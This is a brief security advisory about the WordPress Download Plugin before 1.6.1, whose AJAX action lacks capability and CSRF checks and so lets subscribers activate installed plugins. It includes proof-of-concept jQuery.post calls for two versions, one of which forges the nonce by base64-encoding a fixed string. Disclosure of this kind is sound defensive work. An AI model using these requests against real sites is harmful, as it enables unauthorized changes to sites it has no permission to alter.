Download Plugin < 1.6.1 - Subscriber+ Arbitrary Plugin Activation

The plugin does not have capability and CSRF checks in the dpwap_plugin_activate AJAX action, allowing any authenticated users, such as subscribers, to activate plugins that are already installed.

PoC

v < 1.5.9 - jQuery.post(ajaxurl,{ action:“dpwap_plugin_activate”, dpwap_url:“hello.php” }) v < 1.6.0 - jQuery.post(ajaxurl,{ action:“dpwap_plugin_activate”, dpwap_url:“hello.php”, nonce: base64(‘dpwap-metagauss’) })